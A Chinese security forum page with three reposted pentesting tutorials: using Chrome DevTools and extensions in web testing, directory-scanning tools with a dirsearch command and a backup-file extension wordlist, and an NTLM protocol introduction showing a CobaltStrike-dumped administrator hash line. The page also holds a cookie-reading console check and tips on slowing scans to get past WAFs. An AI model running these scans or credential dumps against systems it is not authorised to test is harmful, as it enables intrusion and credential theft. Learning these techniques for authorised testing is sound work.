渗透测试中使用浏览器的正确姿势【转】

cat 发表了文章 • 0 个评论 • 238 次浏览 • 2020-03-31 14:56 • 来自相关话题

渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
更强大的账号同步能力只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。


更强大的F12现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。自带flash很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:使用chrome的开发者工具。使用一些必备的插件。 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具在Chrome菜单中选择 更多工具 > 开发者工具F12在页面元素上右键点击,选择 “检查”使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)




 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧




如在屏幕的左侧是最后一个图标




 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!




比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的




使用手机模拟后可以说是相当的舒服:





 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素




 
 
控制台
点击面板中的console,可以进入控制台



 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码alert('hacker by timeshatter')
可以轻松黑掉百度





说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。




 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞





 
然后在控制台中输入POC验证



 
3. 验证一些低危漏洞
如未开启httponly
输入alert(document.cookie)
可以验证哪些重要的cookie未开启httponly




 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。




 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。








 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。




 
下面详细介绍下这个功能




Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置




 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了








 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。




 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过。
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:




格式化后的代码:




 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:








其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。




返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:function onClick() {



 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。




 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码: 
if (inputsAreEmpty()) {





2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。




 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;
2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。




调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。




方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。




以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:




 
把hide和display: none去掉后,效果如下图




好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。




 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用




 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库




 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等




 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页




 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息








 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html
 
  查看全部
渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
  • 更强大的账号同步能力
只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。
1.png
  • 更强大的F12
现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。
  • 自带flash
很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:
  • 使用chrome的开发者工具。
  • 使用一些必备的插件。
 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具
  • 在Chrome菜单中选择 更多工具 > 开发者工具
  • F12
  • 在页面元素上右键点击,选择 “检查”
  • 使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)

2.png

 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧
3.png

如在屏幕的左侧是最后一个图标
4.png

 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!
5.png

比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的
6.png

使用手机模拟后可以说是相当的舒服:

7.png

 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素
8.png

 
 
控制台
点击面板中的console,可以进入控制台
9.png
 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码
alert('hacker by timeshatter')

可以轻松黑掉百度

45.png

说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。
10.jpg

 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞

11.jpg

 
然后在控制台中输入POC验证
12.jpg
 
3. 验证一些低危漏洞
如未开启httponly
输入
alert(document.cookie)

可以验证哪些重要的cookie未开启httponly
13.jpg

 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。
14.jpg

 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。
15.jpg

16.jpg

 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。
17.jpg

 
下面详细介绍下这个功能
18.jpg

Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置
19.jpg

 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了
20.jpg

21.jpg

 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。
22.jpg

 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:
24.jpg

格式化后的代码:
25.jpg

 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:
26.jpg

27.jpg

其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。
28.jpg

返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:
function onClick() {
29.jpg

 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。
30.jpg

 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码:
 

if (inputsAreEmpty()) {

31.jpg

2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。
32.jpg

 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:
label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;

2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。
33.jpg

调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。
34.jpg

方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。
35.jpg

以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:
36.jpg

 
把hide和display: none去掉后,效果如下图
37.jpg

好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。
38.png

 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用
39.jpg

 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库
40.jpg

 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等
41.jpg

 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页
42.jpg

 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息
43.png

44.jpg

 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html
 
 

web信息收集之目录扫描

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 670 次浏览 • 2020-03-22 22:03 • 来自相关话题

0X01  简述: 目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。
0X02  7kbscan: 个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。


下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03  sensinfor: 它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:


2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。







 
0X03  dirsearch: 这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。




       1、对config模块的介绍:








        2、简单的配置:








      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:




           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
  查看全部
0X01  简述:
    目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。

0X02  7kbscan:
    个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
1.png
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。

0X03  sensinfor:
    它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。
使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2.png
  2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
3.png

4.png

 
0X03  dirsearch:
    这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:

 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
5.png

       1、对config模块的介绍:
6.png

7.png

        2、简单的配置:
8.png

9.png

      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:
10.png

           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:
参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar

 

【内网渗透】NTLM协议简介

wuyou 发表了文章 • 0 个评论 • 424 次浏览 • 2020-03-19 20:01 • 来自相关话题

前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议




 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:



Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

